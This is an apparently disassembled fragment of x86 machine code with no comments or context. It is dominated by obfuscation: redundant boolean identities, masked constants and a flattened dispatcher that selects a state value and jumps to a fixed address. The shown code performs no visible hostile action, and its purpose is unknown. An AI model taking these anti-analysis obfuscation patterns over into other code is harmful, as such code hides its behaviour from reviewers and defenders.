mov cl, bh
xor cl, ah
and cl, bh
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
mov ch, 1
xor ch, 0
mov dh, ah
xor dh, ch
and dh, ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov byte [ebp - 0x83783], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x83784], dl
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and al, ah
mov byte [ebp - 0x83786], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x83785], al
mov al, byte [ebp - 0x83786]
and cl, ah
or dl, al
mov al, byte [ebp - 0x83785]
or al, cl
mov cl, byte [ebp - 0x83784]
xor dl, al
mov al, byte [ebp - 0x83783]
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x83780], cl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and dh, ah
mov byte [ebp - 0x83782], dh
mov dh, ch
and dh, 0
and al, ah
mov byte [ebp - 0x83781], al
mov al, byte [ebp - 0x83782]
or cl, al
mov al, byte [ebp - 0x83781]
or dh, al
mov al, byte [ebp - 0x83780]
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor dl, 0xff
mov cl, bl
xor cl, dl
and cl, bl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x8377f], al
mov dh, 1
xor dh, 1
mov cl, dh
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x8377e], al
mov al, byte [ebp - 0x8377f]
and dh, 1
or al, cl
mov cl, byte [ebp - 0x8377e]
or cl, dh
xor al, cl
mov byte [ebp - 0x8377d], al
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x8377c], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
mov al, 1
xor al, 1
mov dh, 1
xor dh, 1
or cl, al
mov al, byte [ebp - 0x8377d]
or dh, 1
xor cl, 0xff
and cl, dh
mov byte [ebp - 0x8377b], cl
mov dh, 1
xor dh, 1
xor al, 0xff
mov cl, 1
xor cl, 0
or dh, al
mov al, byte [ebp - 0x8377c]
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, dl
and cl, al
xor dl, al
mov al, byte [ebp - 0x8377b]
or cl, dl
mov dl, al
and dl, dh
xor al, dh
or dl, al
mov dh, cl
xor dh, 0xff
mov al, dl
and al, dh
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x83739], al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x8377a], al
mov al, 1
xor al, 0
and al, 0
mov dh, 1
xor dh, 0
mov cl, dh
and cl, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, cl
mov cl, byte [ebp - 0x8377a]
or dl, dh
xor al, dl
mov byte [ebp - 0x83779], al
mov dl, 1
xor dl, 0
and dl, 1
mov dh, 1
xor dh, 1
and dh, 0
or dl, dh
mov byte [ebp - 0x83773], dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x83774], al
mov dh, 1
xor dh, 0
mov al, dl
and al, 0
mov byte [ebp - 0x83778], al
mov al, byte [ebp - 0x83774]
and cl, dh
and al, 0
mov byte [ebp - 0x83776], al
mov al, byte [ebp - 0x83779]
and al, dh
mov byte [ebp - 0x83777], al
mov al, byte [ebp - 0x83778]
or al, cl
mov cl, byte [ebp - 0x83777]
mov byte [ebp - 0x83775], al
mov al, byte [ebp - 0x83776]
or al, cl
mov cl, byte [ebp - 0x83775]
xor cl, al
mov al, byte [ebp - 0x83774]
or dl, al
mov al, byte [ebp - 0x83773]
xor dl, 0xff
or dh, 0
and dl, dh
or cl, dl
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x83772], al
mov al, 1
xor al, 1
and cl, al
mov dl, 1
xor dl, 1
and dl, 0xff
and al, 1
mov byte [ebp - 0x83771], al
mov al, byte [ebp - 0x83772]
or al, cl
mov cl, byte [ebp - 0x83771]
or dl, cl
mov cl, byte [ebp - 0x83739]
xor al, dl
xor al, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or al, dh
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x83759], al
mov dh, bh
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and bh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, bh
or al, dl
xor dh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov byte [ebp - 0x8376d], cl
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x8376e], bh
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 0
and bh, 0
and dh, cl
mov byte [ebp - 0x83770], dh
mov dh, dl
and dh, 0
and al, cl
mov byte [ebp - 0x8376f], al
mov al, byte [ebp - 0x83770]
or bh, al
mov al, byte [ebp - 0x8376f]
or dh, al
mov al, byte [ebp - 0x8376e]
xor bh, dh
mov dh, byte [ebp - 0x8376d]
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov al, 1
xor al, 1
mov byte [ebp - 0x83768], al
xor dh, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
mov byte [ebp - 0x8376c], al
mov cl, dl
and cl, 1
mov al, dh
and al, 0xff
mov byte [ebp - 0x8376a], al
mov al, byte [ebp - 0x8376d]
and al, dl
mov byte [ebp - 0x8376b], al
mov al, byte [ebp - 0x8376c]
or al, cl
mov cl, byte [ebp - 0x8376b]
mov byte [ebp - 0x83769], al
mov al, byte [ebp - 0x8376a]
or al, cl
mov cl, byte [ebp - 0x83769]
xor cl, al
mov al, byte [ebp - 0x83768]
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bh
or dl, dh
xor al, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, dh
or al, cl
xor dl, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov byte [ebp - 0x83763], al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x83765], dl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83764], al
mov dh, 1
xor dh, 1
and dl, 0xff
mov al, dh
and al, 1
mov byte [ebp - 0x83767], al
mov al, byte [ebp - 0x83764]
and al, 0xff
mov byte [ebp - 0x83766], al
mov al, byte [ebp - 0x83767]
and cl, dh
or dl, al
mov al, byte [ebp - 0x83766]
or al, cl
mov cl, byte [ebp - 0x83765]
xor dl, al
mov al, byte [ebp - 0x83764]
or cl, al
mov al, byte [ebp - 0x83763]
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
mov byte [ebp - 0x83762], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x83761], al
mov al, byte [ebp - 0x83762]
and cl, 1
or dh, al
mov al, byte [ebp - 0x83761]
or al, cl
mov cl, byte [ebp - 0x83739]
xor dh, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x8375f], cl
mov cl, 1
xor cl, 0
mov dl, bl
and dl, cl
mov byte [ebp - 0x83760], dl
mov dl, al
xor dl, 0xff
and dl, 0
and al, cl
mov cl, byte [ebp - 0x83760]
mov byte [ebp - 0x8375e], al
mov al, byte [ebp - 0x8375f]
or al, cl
mov cl, byte [ebp - 0x8375e]
or dl, cl
mov cl, byte [ebp - 0x83759]
xor al, dl
xor bl, 0xff
mov dl, al
xor dl, bl
and dl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x8375d], al
mov bl, 1
xor bl, 0
and cl, bl
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x8375c], al
mov al, byte [ebp - 0x8375d]
and bl, 1
or al, cl
mov cl, byte [ebp - 0x8375c]
or cl, bl
xor al, cl
mov byte [ebp - 0x83754], al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov cl, bh
and cl, bl
or al, cl
mov byte [ebp - 0x83751], al
mov bl, 1
xor bl, 0
and bl, 0
mov al, 1
xor al, 0
mov cl, al
and cl, 0
mov byte [ebp - 0x8375b], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0x8375a], al
mov al, byte [ebp - 0x8375b]
or bl, al
mov al, byte [ebp - 0x8375a]
or cl, al
mov al, byte [ebp - 0x83759]
xor bl, cl
mov cl, byte [ebp - 0x83754]
mov byte [ebp - 0x8374c], bl
mov bl, 1
xor bl, 0
xor cl, bl
mov bl, byte [ebp - 0x83754]
and cl, bl
mov bl, byte [ebp - 0x8374c]
mov byte [ebp - 0x83756], cl
xor bl, 0xff
mov cl, al
xor cl, bl
mov bl, byte [ebp - 0x83751]
and cl, al
xor bl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x83758], al
mov al, 1
xor al, 0
mov byte [ebp - 0x83757], al
mov al, byte [ebp - 0x83758]
or bl, al
mov al, byte [ebp - 0x83757]
or al, 0
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0x8374c]
mov byte [ebp - 0x83755], bl
xor al, 0xff
mov bl, bh
xor bl, al
mov al, byte [ebp - 0x83756]
and bl, bh
mov bh, al
and bh, cl
xor al, cl
mov cl, byte [ebp - 0x83755]
or bh, al
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov bl, bh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and bh, cl
mov byte [ebp - 0x83753], bh
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, cl
mov cl, byte [ebp - 0x83754]
mov byte [ebp - 0x83752], al
mov al, byte [ebp - 0x83753]
or bl, al
mov al, byte [ebp - 0x83752]
or bh, al
mov al, byte [ebp - 0x83751]
xor bl, bh
mov byte [ebp - 0x83744], bl
mov bl, cl
xor bl, 0xff
xor al, 0xff
mov byte [ebp - 0x8374b], al
mov bh, 1
xor bh, 1
mov al, bl
and al, 0xff
mov byte [ebp - 0x83750], al
mov al, byte [ebp - 0x8374b]
and cl, bh
and al, 0xff
mov byte [ebp - 0x8374f], al
mov al, byte [ebp - 0x83751]
and al, bh
mov byte [ebp - 0x8374e], al
mov al, byte [ebp - 0x83750]
or al, cl
mov cl, byte [ebp - 0x8374f]
mov byte [ebp - 0x8374d], al
mov al, byte [ebp - 0x8374e]
or cl, al
mov al, byte [ebp - 0x8374d]
xor al, cl
mov cl, byte [ebp - 0x8374c]
mov byte [ebp - 0x8374a], al
mov al, byte [ebp - 0x8374b]
or bl, al
mov al, byte [ebp - 0x8374a]
xor bl, 0xff
or bh, 1
and bl, bh
or al, bl
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and al, bh
or bl, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x83747], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83746], al
mov al, 1
xor al, 1
mov byte [ebp - 0x83745], al
and bh, 0xff
and al, 0
mov byte [ebp - 0x83749], al
mov al, byte [ebp - 0x83746]
and al, 0xff
mov byte [ebp - 0x83748], al
mov al, byte [ebp - 0x83745]
and cl, al
mov al, byte [ebp - 0x83749]
or bh, al
mov al, byte [ebp - 0x83748]
or al, cl
mov cl, byte [ebp - 0x83747]
xor bh, al
mov al, byte [ebp - 0x83746]
or cl, al
mov al, byte [ebp - 0x83745]
xor cl, 0xff
or al, 1
and cl, al
mov al, byte [ebp - 0x83744]
or bh, cl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, dl
xor al, 0xff
mov bl, dh
xor bl, al
and bl, dh
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x83743], al
mov al, 1
xor al, 0
and dh, al
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, al
mov al, byte [ebp - 0x83743]
or al, dh
or cl, dl
xor al, cl
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0x83740], dh
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and bl, cl
mov byte [ebp - 0x83742], bl
mov bl, dl
and bl, 0xff
and al, cl
mov byte [ebp - 0x83741], al
mov al, byte [ebp - 0x83742]
or dh, al
mov al, byte [ebp - 0x83741]
or bl, al
mov al, byte [ebp - 0x83740]
xor dh, bl
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov bl, bh
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
xor bh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x8373e], al
mov al, 1
xor al, 0
mov byte [ebp - 0x8373f], al
mov cl, dh
and cl, al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x8373d], al
mov al, byte [ebp - 0x8373f]
and al, 1
mov byte [ebp - 0x8373c], al
mov al, byte [ebp - 0x8373e]
or al, cl
mov cl, byte [ebp - 0x8373d]
mov byte [ebp - 0x8373b], al
mov al, byte [ebp - 0x8373c]
or cl, al
mov al, byte [ebp - 0x8373b]
xor al, cl
mov byte [ebp - 0x8373a], al
mov cl, 1
xor cl, 0
xor al, cl
mov cl, byte [ebp - 0x8373a]
and al, cl
xor dh, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 0
or dh, bl
mov bl, byte [ebp - 0x83739]
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, dl
and cl, bh
xor dl, bh
or cl, dl
mov dl, al
and dl, dh
xor al, dh
or dl, al
mov dh, cl
xor dh, 0xff
mov al, dl
and al, dh
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x8372e], al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov dl, ch
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or dl, ch
or cl, ah
xor dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ch, bl
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0x83732], al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov al, bh
xor al, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 0
mov dh, ch
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
mov dh, byte [ebp - 0x83732]
or dl, 1
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x83738], cl
mov cl, 1
xor cl, 0
mov dl, dh
xor dl, cl
mov cl, byte [ebp - 0x83738]
and dl, dh
mov byte [ebp - 0x83735], dl
xor bl, 0xff
mov dh, ch
xor dh, 0xff
mov dl, 1
xor dl, 0
or bl, dh
or dl, 0
xor bl, 0xff
and bl, dl
mov dh, al
xor dh, 0xff
xor cl, 0xff
mov byte [ebp - 0x83734], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x83733], cl
mov dl, dh
and dl, 0
and al, cl
mov cl, byte [ebp - 0x83738]
mov byte [ebp - 0x83737], al
mov al, byte [ebp - 0x83734]
and al, 0
mov byte [ebp - 0x83736], al
mov al, byte [ebp - 0x83733]
and cl, al
mov al, byte [ebp - 0x83737]
or dl, al
mov al, byte [ebp - 0x83736]
or al, cl
mov cl, byte [ebp - 0x83735]
xor dl, al
mov al, byte [ebp - 0x83734]
or dh, al
mov al, byte [ebp - 0x83733]
xor dh, 0xff
or al, 0
and dh, al
mov al, byte [ebp - 0x83732]
or dl, dh
mov dh, cl
and dh, bl
xor cl, bl
or dh, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and dl, dh
or cl, dl
mov byte [ebp - 0x8372f], cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, cl
and dl, 0xff
and bh, dh
mov byte [ebp - 0x83731], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x83730], al
mov al, byte [ebp - 0x83731]
or dl, al
mov al, byte [ebp - 0x83730]
or bh, al
mov al, byte [ebp - 0x8372f]
xor dl, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov dl, ch
and dl, 0
xor ch, 0
or dl, ch
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
mov dh, cl
and dh, 0xff
and al, dl
mov bl, ch
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0x8372e]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov dh, ah
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or bl, ah
or dl, 1
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa32d803f
mov ecx, 0x8cf2e391
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov ecx, dword [ebp - 0x831dc]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd822b654
mov esi, 0xffffffff
xor esi, 0xd822b654
mov edi, ecx
and edi, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xd822b654
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or esi, edx
xor esi, 0xffffffff
mov edx, ecx
xor edx, esi
and edx, ecx
mov ecx, eax
and ecx, edx
xor eax, edx
or ecx, eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x40000000
or edx, eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x52507f5b
or ebx, edx
or eax, 0x52507f5b
xor ebx, 0xffffffff
and ebx, eax
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x6bdc6fe4
mov edx, 0xffffffff
xor edx, 0x6bdc6fe4
mov edi, edx
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x6bdc6fe4
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0x40000000
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa0d97e95
or eax, esi
or edx, 0xa0d97e95
xor eax, 0xffffffff
and eax, edx
mov esi, ebx
xor esi, 0xffffffff
mov dword [ebp - 0x83818], esi
mov edi, eax
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x54ee2014
and esi, 0x54ee2014
and ebx, edx
mov dword [ebp - 0x83820], ebx
mov ebx, edi
and ebx, 0x54ee2014
and eax, edx
mov dword [ebp - 0x8381c], eax
mov eax, dword [ebp - 0x83820]
or esi, eax
mov eax, dword [ebp - 0x8381c]
or ebx, eax
mov eax, dword [ebp - 0x83818]
xor esi, ebx
or eax, edi
xor eax, 0xffffffff
or edx, 0x54ee2014
and eax, edx
or esi, eax
mov eax, 0xffffffff
xor eax, 0x26f63a8f
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x26f63a8f
or eax, edx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x83814], eax
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0x5f449241
mov ebx, 0xffffffff
xor ebx, 0x5f449241
mov eax, ebx
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x5f449241
and ebx, 0xffffffff
or edi, eax
mov eax, dword [ebp - 0x83814]
or edx, ebx
xor edi, edx
xor edi, 0xffffffff
xor edi, 0x26f63a8f
and edi, 0x26f63a8f
mov edx, eax
and edx, edi
xor eax, edi
or edx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
mov edi, ecx
and edi, ebx
or eax, edi
mov dword [ebp - 0x837e8], eax
mov edi, esi
xor edi, 0xffffffff
and edi, 0x8563d341
mov eax, 0xffffffff
xor eax, 0x8563d341
mov ebx, esi
and ebx, eax
mov dword [ebp - 0x83810], ebx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0x8563d341
and eax, 0xffffffff
mov dword [ebp - 0x8380c], eax
mov eax, dword [ebp - 0x83810]
or edi, eax
mov eax, dword [ebp - 0x8380c]
or ebx, eax
mov eax, dword [ebp - 0x837e8]
xor edi, ebx
mov dword [ebp - 0x837fc], edi
mov edi, 0xffffffff
xor edi, 0xb7bda868
and edi, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xb7bda868
or edi, ebx
mov dword [ebp - 0x837d4], edi
xor eax, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xb7bda868
mov edi, 0xffffffff
xor edi, 0x9876092a
or eax, ebx
mov ebx, dword [ebp - 0x837d4]
or edi, 0x9876092a
xor eax, 0xffffffff
and eax, edi
xor ecx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xafba430a
or ecx, ebx
mov ebx, dword [ebp - 0x837d4]
or edi, 0xafba430a
xor ecx, 0xffffffff
and ecx, edi
mov edi, dword [ebp - 0x837fc]
mov dword [ebp - 0x83808], ecx
mov ecx, 0xffffffff
xor ecx, 0xb7bda868
xor edi, ecx
mov ecx, dword [ebp - 0x837fc]
and edi, ecx
mov ecx, dword [ebp - 0x83808]
mov dword [ebp - 0x837f0], edi
xor esi, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x9c9f6bc8
or esi, ebx
or edi, 0x9c9f6bc8
xor esi, 0xffffffff
and esi, edi
mov ebx, eax
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov dword [ebp - 0x837f8], ecx
mov ecx, 0xffffffff
xor ecx, 0xb0a916fb
mov dword [ebp - 0x837f4], ecx
mov edi, ebx
and edi, 0xb0a916fb
and eax, ecx
mov ecx, dword [ebp - 0x83808]
mov dword [ebp - 0x83804], eax
mov eax, dword [ebp - 0x837f8]
and eax, 0xb0a916fb
mov dword [ebp - 0x83800], eax
mov eax, dword [ebp - 0x837f4]
and ecx, eax
mov eax, dword [ebp - 0x83804]
or edi, eax
mov eax, dword [ebp - 0x83800]
or eax, ecx
mov ecx, dword [ebp - 0x837fc]
xor edi, eax
mov eax, dword [ebp - 0x837f8]
or ebx, eax
mov eax, dword [ebp - 0x837f4]
xor ebx, 0xffffffff
or eax, 0xb0a916fb
and ebx, eax
mov eax, dword [ebp - 0x837f0]
or edi, ebx
mov ebx, eax
and ebx, esi
xor eax, esi
or ebx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xf14f401
mov eax, 0xffffffff
xor eax, 0xf14f401
and edi, eax
mov dword [ebp - 0x837ec], edi
mov edi, ebx
xor edi, 0xffffffff
and edi, 0xf14f401
and ebx, eax
mov eax, dword [ebp - 0x837ec]
or esi, eax
mov eax, dword [ebp - 0x837e8]
or edi, ebx
xor esi, edi
mov dword [ebp - 0x837dc], esi
mov esi, eax
xor esi, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
mov dword [ebp - 0x837d8], edi
mov ebx, 0xffffffff
xor ebx, 0x53a7fabe
mov edi, esi
and edi, 0x53a7fabe
and eax, ebx
mov dword [ebp - 0x837e4], eax
mov eax, dword [ebp - 0x837d8]
and eax, 0x53a7fabe
mov dword [ebp - 0x837e0], eax
mov eax, dword [ebp - 0x837e4]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0x837e0]
or eax, ecx
mov ecx, dword [ebp - 0x837dc]
xor edi, eax
mov eax, dword [ebp - 0x837d8]
or esi, eax
mov eax, dword [ebp - 0x837d4]
xor esi, 0xffffffff
or ebx, 0x53a7fabe
and esi, ebx
or edi, esi
mov esi, edi
xor esi, 0xffffffff
and esi, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and edi, ebx
or esi, edi
mov edi, eax
and edi, 0xb7bda868
xor eax, 0xb7bda868
or edi, eax
xor edi, 0xffffffff
mov eax, esi
xor eax, edi
and eax, esi
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x837cc], ebx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x570ff929
and ebx, 0x570ff929
mov dword [ebp - 0x837d0], ebx
and ecx, esi
mov ebx, edi
and ebx, 0x570ff929
and eax, esi
mov dword [ebp - 0x837c8], eax
mov eax, dword [ebp - 0x837d0]
or eax, ecx
mov ecx, dword [ebp - 0x837cc]
mov dword [ebp - 0x837c4], eax
mov eax, dword [ebp - 0x837c8]
or ebx, eax
mov eax, dword [ebp - 0x837c4]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x570ff929
and ecx, esi
or eax, ecx
mov dword [ebp - 0x837b8], eax
mov ebx, edx
xor ebx, 0xffffffff
xor ebx, 0x26f63a8f
and ebx, 0x26f63a8f
mov eax, 0xffffffff
xor eax, 0x26f63a8f
